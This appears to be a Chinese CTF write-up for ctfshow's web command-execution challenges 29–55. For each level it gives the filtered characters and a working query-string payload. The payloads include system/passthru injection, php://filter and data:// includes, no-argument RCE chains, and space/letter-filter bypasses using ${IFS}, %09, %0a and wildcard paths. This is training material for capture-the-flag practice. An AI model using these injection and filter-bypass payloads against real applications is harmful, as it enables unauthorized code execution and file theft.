ctfshow WEB入门 命令执行 29-55

web29

过滤了flag
?c=system("cat f*");

web30

过滤了system|flag,用一个代替system()的函数
?c=passthru("cat f*");

web31

过滤了system|cat|flag|空格
?c=passthru("more%09f*");

web32

ctfshow WEB入门 命令执行 29-55
在前面的基础上,过滤了括号,但没过滤双引号
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow WEB入门 命令执行 29-55

web33

ctfshow WEB入门 命令执行 29-55
过滤了引号
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

ctfshow WEB入门 命令执行 29-55
同33

web35

ctfshow WEB入门 命令执行 29-55
同33

web36

ctfshow WEB入门 命令执行 29-55

在前面的基础上,过滤了数字,解法同33

web37

ctfshow WEB入门 命令执行 29-55

这里用了PHP文件包含函数include(),利用伪协议读flag

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

POC:?c=data://text/plain,<?php system("cat f*");

web38

ctfshow WEB入门 命令执行 29-55
在37的基础上,过滤了php,利用base64编码绕过
POC:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
//PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=是<?php system("cat flag.php");

web39

ctfshow WEB入门 命令执行 29-55
?c=data://text/plain<?php system("cat f*");?>

web40

ctfshow WEB入门 命令执行 29-55
?c=system("cat flag");
过滤了引号|$;过滤了冒号,还不能用伪协议
一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)

参考GXYCTF2019禁止套娃
解题参考:无参数读文件和RCE总结
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b‘)或a(‘b‘,‘c‘),不能带参数。

  • print_r(scandir(‘.‘));查看当前目录下的所有文件名
  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
  • current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

ctfshow WEB入门 命令执行 29-55

ctfshow WEB入门 命令执行 29-55

但是这题过滤了引号,不能有参数,找一个代替‘.‘的东西

print_r(scandir(current(localeconv())));打印出当前目录下文件
ctfshow WEB入门 命令执行 29-55

flag.php在倒数第二个,直接用next(array_reverse());

paylaod:?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

web42

?c=ls;
?c=cat flag.php;

web43

过滤了;|cat

?c=ls%0a
?c=more flag.php%0a

web44

过滤了;|cat|flag

?c=ls%0a
?c=more f*%0a

web45

过滤了;|cat|flag|空格

?c=ls%0a
?c=more${IFS}f*%0a

web46

过滤了;|cat|flag|空格|数字|$|*

?c=ls%0a
?c=more%09fla?.php%0a

web47

过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令

?c=ls%0a
?c=nl%09fla?.php%0a

48、49和47一样

web50

过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令|%

?c=ls%0a
?c=nl<>fla\g.php%0a
(环境问题,通配符不好使
51和50一样

web52

过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>

?c=ls%0a
?c=nl\({IFS}fla\g.php%0a <a href="https://sm.ms/image/vYhPE4ZknF5Dwjz" target="_blank"><img src="https://i.loli.net/2020/09/12/vYhPE4ZknF5Dwjz.png" ></a> 查看根目下的目录: ?c=ls\){IFS}/%0a
?c=nl${IFS}/fla\g%0a

web53

过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
?c=ls

?c=nl${IFS}fla?.php

web54

过滤了;|cat|flag|空格|数字|查看文件命令nl等|`|%|\x09(空格)|\x26(&)|<|>
?c=ls%0a  回显flag.php
?c=cat flag.php;
即?c=paste${IFS}fla?.php

web55

参考:继无字母数字的命令执行(ctfshow web入门 55)新姿势

过滤了;|小写字母|`|%|\x09(空格)|\x26(&)|<|>

因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64
ctfshow WEB入门 命令执行 29-55
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

解法2:
bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
压缩后下载,访问/flag.php.bz2。

ctfshow WEB入门 命令执行 29-55

上一篇:linux监控命令全覆盖(图文说明)


下一篇:了解HTTP协议